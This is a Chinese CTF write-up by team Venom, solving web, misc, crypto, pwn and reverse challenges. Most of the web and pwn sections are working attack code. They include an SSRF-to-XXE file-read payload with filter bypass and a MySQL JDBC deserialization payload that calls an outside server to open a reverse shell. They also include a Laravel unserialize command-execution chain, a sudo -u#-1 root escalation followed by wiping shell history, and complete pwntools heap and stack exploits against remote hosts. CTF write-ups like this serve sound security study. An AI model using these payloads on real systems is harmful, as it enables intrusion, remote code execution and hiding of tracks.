

# 队伍信息

- 队伍名称: Venom

## Web

### F | do you know

题目说明

step\_by\_step

<http://121.36.64.91/>

ps:

web题有很多步骤，但绝对没有脑洞，每一步都相互关联，都有线索可寻，出题人也会认真审核赛后的wp，除去特殊的非预期解，否则类似“猜出来的、扫出来的、脑洞出来的、利用别人的webshell拿到的”等理由均不成立，题目中均不含任何可以直接使用的webshell，这些理由在本次赛后的wp中出现都有可能導致审核不通过。请选手对自己负责。

解题思路

SSRF 利用 gopher 模拟 POST 请求，访问 xxe.php，然后利用 xxe 来读文件

index.php 里禁用了

```
1 | preg_match("/log|flag|hist|dict|etc|file|write/i" , $poc))
```

而在 xxe.php 里用的是 replace

```
1 | preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i", '', $data);
```


那么可以直接用 双写的方式来 bypass, 类似这样:

```
1 | freadag ==> preg_replace("/flag/i", '', $data) ==> flag
```


找个 XXE 读文件的 exp, 直接 xxe 读 flag.php 完事:

```
1 <?xml version="1.0" encoding="ureadtf-8"?>
2 <!DOCTYPE xe [
3 <!ELEMENT name ANY >
4 <!ENTITY xe SYSTEM "php://filter/rereadad=convert.base64-encode/resource=
5 flreadag.php" >]>
6 <root>
7 <name>&xe;</name>
  </root>
```

注意先在本地搭个 php 直接 POST, 获取 Content-Length



然后用 gopher 发过去, 注意 xxe 的 payload 要用 3 次 URL 编码:



PD9waHAKJGZsYWc9J2ZsYWd7NWJjMGJjMjkxZDMyMjQ1MDY3OTg2NmQ1ZGRmMGEzNDZ9Jzsk

```
1 | <?php
2 | $flag='flag{5bc0bc291d322450679866d5ddf0a346}';
```


# F | hate-php

## 题目说明

### 解题思路

SUCTF 原题, 直接对 \_GET 取反即可

```
1 | ➔ ctf php -r "var_dump(urlencode(~'_GET'));"
2 | string(12) "%A0%B8%BA%AB"
```



# F | zzm's blog

## 题目说明

### 解题思路

mysql jdbc 反序列化漏洞

直接用 ysoserial cc5 来打

/?query=

```
{"id"%3a["com.mysql.cj.jdbc.admin.MiniAdmin",+"jdbc%3amysql%3a//139.199.203.253%3a3307/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections5_bash+-c+{echo,cGluZyBsZnkuOHliaHE0LmNleWUuaW8%3d}]{base64,-d}]{bash,-i}"]}
```

在VPS 上用 fnmsd 的 rouge server Listen 3307 端口等着就行

死活弹不出来shell，ping都可以执行，神tm

最后发现只要多请求几次就好了

flag 在哪? / 下没找到

你在 /tmp 目录看看有没有

居然在 /tmp 目录下, 神tm

```
ctf@4fe645a7c108:/tmp$ cat flag
cat flag_keowpijkoqeew
flag{90d88050-42fc-4dc6-9b10-b40b82e44495}
```

## F | laravel

题目说明

<http://139.9.134.37>

ps:

web题有很多步骤, 但绝对没有脑洞, 每一步都相互关联, 都有线索可寻, 出题人也会认真审核赛后的wp, 除去特殊的非预期解, 否则类似“猜出来的、扫出来的、脑洞出来的、利用别人的webshell拿到的”等理由均不成立, 题目中均不含任何可以直接使用的webshell, 这些理由在本次赛后的wp中出现都有可能导致审核不通过。请选手对自己负责。

解题思路

开局一个 unserialize

反手打开 phpggc 看看, 比如绕过现有的链比凭空找简单

Laravel RCE1-6 都是 PendingBroadcast 开局, 想办法换一个

全局搜索 \_\_destruct , 倒着开始, 第一个, 然后就稳了

用 ImportConfigurator 替代 PendingBroadcast

```
1 | http://139.9.134.37/index?p=0:64:%22Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%22:2:{s:9:%22%00*%00parent%22;0:15:%22Faker\Generator%22:1:{s:13:%22%00*%00formatters%22;a:1:{s:13:%22addCollection%22;s:6:%22system%22;}}s:8:%22%00*%00route%22;s:10:%22cat%20/flag*%22;}
```

# F | 美团外卖

---

## 题目说明

### 解题思路

扫目录得到 [www.zip](#)

daochu.php 存在注入

admin,content,hint,mac,sms

select hints from hint

see\_the\_dir\_956c110ef9decdd920249f5fed9e4427

<http://119.3.183.154/956c110ef9decdd920249f5fed9e4427>

www/lib/webuploader/0.1.5/server/preview.php 似乎有问题

curl <http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/preview.php> -d ''

!!!! Congratulations on infiltrating here, but it's a pity that someone has infiltrated and left a Trojan, do not continue here , please see the e98a4571cf72b798077d12d6c94629.php !!!!!

<http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag>

---

**flag{g879ace87y8501c1deab01c7b54f2fa9}. get file**

---

## Misc

---

## F | loop

---

## 题目说明

题目附件：

[4f17a9a1703f4cd49b4ab1542fb59c37.zip](#)

解题思路

7z加鼠标连点宏

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## F | 麒麟系统

---

### 题目说明

题目附件：

解题思路

```
[kylin-user@localhost tmp]$ sudo -u#-1 cat /root/flag
[sudo] kylin-user 的密码：
{Bravo KYLIN-USER! Congratulations}
[kylin-user@localhost tmp]$ history
 1  exit
 2  ls
 3  ls -al
 4  history
 5  sudo -u#-1 cat /root/flag
 6  sudo -u#-1 cat /bin/bash
 7  rm .bash_history
 8  ls -al
```

## F | run

---


### 题目说明

题目附件：


1bc09ce355a74496b40423090366bf20.zip

解题思路

附件为一个run.exe，运行之后打开一个没啥内容的docx。分析发现run.exe其实是一个自解压程序




随后分析里面的run.exe，里面的run.exe运行之后产生一个tif文件，查看文件头得知为tiff格式  
在文件末尾发现一串数据





吧tif文件拖到PS里，可以看到两个图层，黑色矩形的盖住了什么，移开之后得到一段代码



```
1 a = 'njCp1HJBPLVTxcMhUHDPwE7mPW'
2 flag = ""
3 for i in range(len(a)):
4     if i % 2 == 0:
5         flag += chr(ord(a[i]) - 1)
6     else:
7         flag += chr(ord(a[i]) + 1)
8 print flag
9 #mkBq0IICOMUUwdLiTICQvF6nOX
```

最终flag为flag{mkBq0IICOMUUwdLiTICQvF6nOX}

## Crypto

题目附件:

[dfdd7b83828c44d7b2ca9c68ffe0f99a.zip](#)

解题思路

RSA共模攻击

```
1  #! /usr/bin/env python2
2  # -*- coding: utf-8 -*-
3
4  from libnum import n2s, s2n
5  from gmpy2 import invert
6
7  # 扩展欧几里得算法
8  def egcd(a, b):
9      if a == 0:
10         return (b, 0, 1)
11     else:
12         g, y, x = egcd(b % a, a)
13         return (g, x - (b // a) * y, y)
14
15
16
17 def main():
18     n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97
19     d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d1
20     6912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bf
21     eb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de
22     54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da
23     0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7
24     772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4
25     e72a63557L
26     c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9da
27     a003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312f
28     eb3b0c85c3b8722c0e4aedeae2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c7
29     0b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c
30     59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14d
31     a59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8
32     b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e
```

```

33 893c8a3707L
34     c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec6848
35 19690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8
36 c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021a
37 f60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee
38 514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2
39 b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4
40 b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065
41 dc73dcbcbL
    e1 = 0xf4c1158fL
    e2 = 0xf493f7d1L
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = invert(c2, n)

    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    print(n2s(m)) # 二进制转string

if __name__ == '__main__':
    main()

```

flag{g0od\_go0d\_stu4y\_d4yd4y\_Up}

# Pwn

## F | of | 解题做题人

看到源码存在UAF

远程测试发现和源码不同，没有了cookie操作，不知道是怎么部署的

直接改free\_hook调用system即可

```
1  from pwn import *
2  context.log_level="debug"
3  def add(index):
4      p.sendlineafter(": ", "1")
5      p.sendlineafter(": ", str(index))
6  def edit(index, note):
7      p.sendlineafter(": ", "2")
8      p.sendlineafter("Index: ", str(index))
9      p.sendafter("Content: ", note)
10 def show(index):
11     p.sendlineafter(": ", "3")
12     p.sendlineafter("Index: ", str(index))
13 def delete(index):
14     p.sendlineafter(": ", "4")
15     p.sendlineafter(": ", str(index))
16 p=remote("121.36.74.70", 9999)
17 #p=process("./a.out")
18 for i in range(9):
19     add(i)
20 for i in range(8):
21     delete(i)
22 show(7)
23 p.recvuntil(": ")
24 libc=u64(p.recv(6)+"\x00\x00")-0x7ffff7dcfca0+0x7ffff79e4000
25 print hex(libc)
26 edit(6, p64(libc+0x003ed8e8))
27 edit(0, "/bin/sh\x00")
28 add(10)
29 add(11)
30 edit(11, p64(libc+0x04f440))
31 delete(0)
32 p.interactive()
```

## F | pwnme | 解题做题人

题目附件：

堆溢出，可以溢出任意字节

uclibc-ng 1.0.34

看到free的fastbin操作：

```
7 | v4 = v3 & 0xFFFFFFFFFC;
8 | if ( (v3 & 0xFFFFFFFFFC) <= dword_9A8B8[0] )
9 | {
10 |     dword_9A8B8[0] |= 3u;
11 |     v5 = &dword_9A8B8[(v4 >> 3) - 2];
12 |     *(_DWORD *)v1 = v5[1] ^ (v1 >> 12);
13 |     v5[1] = (int)v2;
14 |     return j__pthread_cleanup_pop_restore(&v16, 1);
15 | }
```

不是加减，是异或了一下：

对应到默认堆管理模式下free时用到的一个宏：

```
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = PROTECT_PTR(&p->fd, *fb);
*fb = p;
}
```

```
#define PROTECT_PTR(pos, ptr) (((mchunkptr)((((size_t)pos) >> PAGE_SHIFT) ^ ((size_t)ptr)))
```

(而且不check chunk header，保证对其就行，exp写的蠢了，直接任意地址分配就完了)

```
1 | from pwn import *
2 | import sys
3 | context.log_level="debug"
4 | def show():
5 |     p.sendlineafter(">>> ", "1")
6 | def add(l, note):
7 |     p.sendlineafter(">>> ", "2")
8 |     p.sendlineafter(":", str(l))
```

```

9      p.sendafter(":",note)
10 def change(index,l,note):
11     p.sendlineafter(">>> ", "3")
12     p.sendlineafter(":",str(index))
13     p.sendlineafter(":",str(l))
14     p.sendafter(":",note)
15 def remove(index):
16     p.sendlineafter(">>> ", "4")
17     p.sendlineafter(":",str(index))
18 if len(sys.argv)==1:
19     #p=process(["qemu-arm", "-g", "1234", "-L", ".", "./a.out"])
20     p=remote("121.36.58.215",1337)
21 else:
22     p=process(["qemu-arm", "-L", ".", "./a.out"])
23 add(0x18,"aaaaaaaa")
24 add(0x4f8,"aaaaaaaa")
25 add(0x18,"aaaaaaaa")
26 add(0x18,"aaaaaaaa")
27 change(0,0x40,"a"*0x1c+p64(0x500+0x20+1))
28 remove(1)
29 add(0x4f8,"aaaaaaaa")
30 show()
31 p.recvuntil("2 : ")
32 libc=u32(p.recv(4))+0xff720000-0xff7ba8ec
33 print hex(libc)
34 add(0x18,"aaaaaaaa")
35 add(0x21,"aaaaaaaa")
36 remove(0)
37 remove(4)
38 change(2,8,p32(0x21048^0x22))
39 add(0x18,"aaaaa")
40 add(0x18,"aaaaa")
41 change(4,0xf8,"/bin/sh\x00"+p32(0)*4+p32(0x28)+p32(0x21038))
42 change(0,0x8,p32(libc+0x51800))
43 #show()
44 remove(4)
45 p.interactive()

```

题目附件：

解题思路

栈溢出题目，第一次输入通过覆盖canary低字节泄露canary和rbp，第二次输入做栈迁移泄露出libc基址，随后覆盖返回地址为one\_gadget，getshell

```

1  from pwn import *
2  file = './pwn'
3  p = process(file)
4  elf = ELF(file)
5  libc = ELF("../libc-2.23.so")
6  p = remote("121.36.59.116", 9999)
7  def exp():
8      payload1 = 'a'*0x59
9      p.sendafter(">", payload1)
10
11     p.recvuntil("a"*0x59)
12     canary = u64('\x00'+p.recv(7))
13     stack = u64(p.recv(6)+'\x00'*2)
14     print hex(canary)
15     print hex(stack)
16
17     payload2 = p64(0x400923)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p6
18 4(0x4007a9)
19     payload2 = payload2.ljust(0x58, 'a')
20     payload2 += p64(canary)+p64(stack-0x78)+p64(0x400879)
21
22     p.sendafter(">", payload2)
23     puts = u64(p.recvuntil('\x7f')[-6:]+\x00'*2)
24     print hex(puts)
25     libc_base = puts - libc.sym['puts']
26     payload3 = 'b'*0x58+p64(canary)+p64(0)+p64(libc_base+0x45216)
27     p.sendafter(">", payload3)
28     p.interactive()
29 if __name__ == '__main__':
    exp()

```

# Reverse

## F | nop | 解题做题人

### 题目说明

题目附件：

[6035d22c80c1433a8f06b5333630ff89.zip](#)

### 解题思路

通过int 0x80中断来调用函数，进行反调试，有4处，直接nop相应函数即可。输出的整数存储在0x804a038地址。

<pre>.text:004086E7 A1 38 A0 04 08 .text:004086EC 68 F5 86 04 08 .text:004086F1 40 .text:004086F2 5B .text:004086F3 FF E3 .text:004086F5</pre>	<pre>mov     eax, ds:dword_804A038 push    offset loc_80486F5 inc     eax pop     ebx jmp     ebx</pre>
<pre>.text:0040870D A1 38 A0 04 08 .text:00408712 68 01 87 04 08 .text:00408717 40 .text:00408718 5B .text:00408719 FF E3</pre>	<pre>mov     eax, ds:dword_804A038 push    offset loc_8048701 inc     eax pop     ebx jmp     ebx</pre>
<pre>.text:00408727 A1 38 A0 04 08 .text:0040872C 68 1B 87 04 08 .text:00408731 05 CC CC CC CC .text:00408736 5B .text:00408737 FF E3</pre>	<pre>mov     eax, ds:dword_804A038 push    offset loc_804871B add     eax, 0CCCCCCCCh pop     ebx jmp     ebx</pre>
<pre>.text:0040873B A1 38 A0 04 08 .text:00408740 68 53 87 04 08 .text:00408745 40 .text:00408746 A3 38 A0 04 08</pre>	<pre>mov     eax, ds:dword_804A038 push    offset sub_8048753 inc     eax mov     ds:dword_804A038, eax</pre>

有三处inc和一处加0xc0000000进行运算。后续连续调用两次sub\_8048691，会对eax中存储的值赋值为0x90，也就是nop指令。



```

.text:00048753 A1 38 A0 04 08      mov     eax, ds:dword_804A038
.text:00048758 E8 34 FF FF FF      call    sub_8048691
.text:0004875D 40                      inc     eax
.text:0004875E E8 2E FF FF FF      call    sub_8048691
.text:00048763 EB 00                      jmp     short $+2
; -----
.text:00048765                                loc_8048765:
.text:00048765                                ; CODE XREF: sub_8048753+10↑j
.text:00048765 EB 12                      jmp     short loc_8048779
; -----
.text:00048767 83 EC 0C                      sub     esp, 0Ch
.text:0004876A 68 35 88 04 08      push    offset Format ; "Right"
.text:0004876F E8 8C FC FF FF      call    _printf
.text:00048774 83 C4 10                      add     esp, 10h
.text:00048777 EB 10                      jmp     short loc_8048789
; -----
; -----
; -----
loc_8048779:
.text:00048779                                ; CODE XREF: sub_8048753:loc_8048765↑j
.text:00048779 83 EC 0C                      sub     esp, 0Ch

```

而在后续的指令中发现一处多余的跳转，这个指令的长度也正好为两个字节，所以把这处指令nop，即可到达right。由于寄存器的位数固定，所以会造成一个溢出。  
 $input+3+0xffffffff=0x8048765$ 。反推出input，就是flag。

input:993507990

## F | ManageCode | 解题做题人

### 题目说明

题目附件：

[8dc0213071aa49ddae7cfe1660551bf6.zip](#)

解题思路

先是直接用dnspy打开，在动调的过程中能看见一个check函数

```

[return: MarshalAs(UnmanagedType.U1)]
internal unsafe static bool FormatChk(sbyte* s)
{
    string text = Marshal.PtrToStringAnsi((IntPtr)((void*)s));
    bool flag = true;
    if (text.Length != 35)
    {
        return 0;
    }
    flag = (text[6] == '-') && flag;
    flag = (text[13] == '-') && flag;
    return text[20] == '-' && flag;
}

```

绕过该检测之后，发现还有两个check是无法直接查看的，通过ida打开程序，根据偏移量修复函

数

```
void __cdecl sub_5A04D0(_BYTE *a1, char *a2)
{
    char *v2; // esi
    signed int v3; // ebx
    _BYTE *v4; // edi
    char v5; // al

    v2 = a2;
    v3 = 0;
    if ( *a2 )
    {
        v4 = a1;
        do
        {
            if ( *v2 != 45 )
            {
                v5 = *v2;
                if ( v3 )
                {
                    v3 = 0;
                    *v4++ |= sub_5A23F0(v5);
                }
                else
                {
                    v3 = 1;
                    *v4 = 16 * sub_5A23F0(v5);
                }
            }
            ++v2;
        }
        while ( *v2 );
    }
}
```

最主要的检测函数为

```

v1 = 1;
v2 = *a1;
v3 = a1[2];
v32 = *a1;
v29 = a1[2];
v31 = a1[1];
if ( -401736 * v2 != -4419096 )
    v1 = 0;
if ( 191967 * a1[1] + 473999 * v2 != 23642821 )
    v1 = 0;
v4 = 57125 * v2;
v5 = a1[3];
v6 = a1[4];
v30 = a1[3];
v28 = a1[4];
if ( v4 + 465507 * v31 - 207145 * v3 != 42831307 )
    v1 = 0;
if ( 149773 * v5 + -488633 * v32 - 5245 * v31 - 280749 * v3 != -560637 )
    v1 = 0;
if ( 381790 * v3 + 59135 * v6 + 130415 * v31 + 174205 * v5 - 83562 * v32 != 27764403 )
    v1 = 0;
v7 = a1[5];
v27 = a1[5];
v8 = 500139 * v6;
v9 = v1;
if ( 386908 * v32 + 465831 * v30 + v8 + 500998 * v7 + 474240 * v3 - 4838 * v31 != 119143813 )
    v9 = 0;
v10 = a1[6];
v26 = v10;
if ( 182991 * v30 + -200009 * v31 - 497601 * v32 - 153099 * v10 + 269682 * v28 + -269523 * v7 - 441164 * v29 != -52489521 )
    v9 = 0;
v11 = a1[7];
v23 = a1[7];
if ( -14894 * v11
    - 162386 * v32
    + 522547 * v30
    + 260922 * v27
    + 428523 * v29

```

直接用脚本计算出每一个数字并拼接起来，并按照相应的格式调整即可得到

```

1  v2=-4419096//-401736
2  v31=(473999 * v2-23642821)//-191967
3  v3=(57125 * v2+465507 * v31-42831307)//207145
4  v5=(-488633 * v2 - 5245 * v31 - 280749 * v3+560637)//-149773
5  v6=(381790 * v3+ 130415 * v31 + 174205 * v5 - 83562 * v2-27764403)//-5913
6  5
7  v7=(386908 * v2 + 465831 * v5+500139 * v6+474240 * v3 - 4838 * v31-119143
8  813)//-500998
9  v10=(182991 * v5 + -200009 * v31 - 497601 * v2+ 269682 * v6 + -269523 * v
10 7 - 441164 * v3+52489521)//153099
11 v11=(- 162386 * v2 + 522547 * v5 + 260922 * v7 + 428523 * v3 + 508037 * v
12 6 - 144626 * v31 - 99507 * v10-67497415)//14894
13 v12=(51126 * v3+ 145838 * v11+ 362957 * v6+ 43500 * v31+ 308294 * v2-3754
14 61 * v5- 394061 * v10- 65395 * v7+43306962)//174341
15 v13=(350654 * v2+ 495127 * v6+ 434878 * v11- 75418 * v10- 43467 * v31-521
16 005 * v7- 226910 * v12- 121973 * v5- 446107 * v3+137046349)//215985
17 v14=(-318934 * v31- 25936 * v2- 341583 * v12+ 320416 * v3+ 339525 * v11-
18 81574 * v6- 502348 * v10- 363326 * v5- 391486 * v7- 248464 * v13+24474460
3)//294177
v15=(81654 * v11+ 432919 * v10+ 110106 * v12- 507164 * v3- 467060 * v7- 1

```

```

97253 * v13- 354555 * v31- 16893 * v14- 254110 * v2- 479559 * v5- 50999 *
v6+214023755)//384845
v16=(-117388 * v13- 227694 * v2+ 457647 * v6+ 293306 * v11+ 101385 * v5+
293124 * v14+ 496679 * v12+ 79854 * v3-81913 * v31- 507308 * v7- 3285 * v
15- 71736 * v10 -50059304)//(-92941)
v17=(281406 * v3+ 314118 * v6-480916 * v11- 442447 * v14- 25649 * v2+ 389
372 * v16+ 15089 * v5+ 210603 * v10+ 5 * (v12 + 17363 * v7 - 91574 * v15)
- 469378 * v13- 117744 * v31+176657564)//124091
v18=(180059 * v10+ 350603 * v2-439557 * v15- 485708 * v3+ 52520 * v13+ 30
3697 * v6+ 395976 * v14+ 406658 * v7-354103 * v17- 61339 * v16- 495692 *
v31- 198340 * v5- 28153 * v12- 113385 * v11+48802225)//492085
v19=(473763 * v12+ 249640 * v10+ 450341 * v5+ 273347 * v17+ 386739 * v31+
24246 * v7+ 20430 * v15+ 69055 * v6+ 391476 * v14+ 100872 * v11+ 458039
* v16+ 71004 * v13-277369 * v3- 468152 * v2- 409044 * v18-224749784)//482
854
print(hex(v2),hex(v31),hex(v3),hex(v5),hex(v6),hex(v7),hex(v10),hex(v11),
hex(v12),hex(v13),hex(v14),hex(v15),hex(v16),hex(v17),hex(v18),hex(v19))
print(len('0b600c-3a198c-0e0891-9aa2ac765e0c7e'))

```

## F | rev | 解题做题人

### 题目说明

本道题目flag提交格式为：ctf{XXXX}

题目附件：

[68f17df6f0c6402ea0172d016434922d.zip](#)

### 解题思路

过程不复杂，但是不会反算啊，只能爆了。

```

1  check = [0x64, 0x25, 0x0f, 0x6c, 0x20, 0x23, 0x8a, 0xde,
2          0x10, 0x0e, 0xa5, 0xe1, 0x43, 0x37, 0x11, 0x53]
3  check = map(lambda x,idx:x^idx,check,range(16))
4  s = ''
5  for i in range(len(check)/4):
6      print i,
7      tmp = crack_one(check[4*i:4*i+4])
8      print tmp

```

```
9      s += tmp
10     flag = 'ctf{'
11     for i in range(4):
12         for j in range(4):
13             flag += s[4*j+i]
14     flag += '}'
15     print flag
```

结果为ctf{ropchain\_is\_g00d}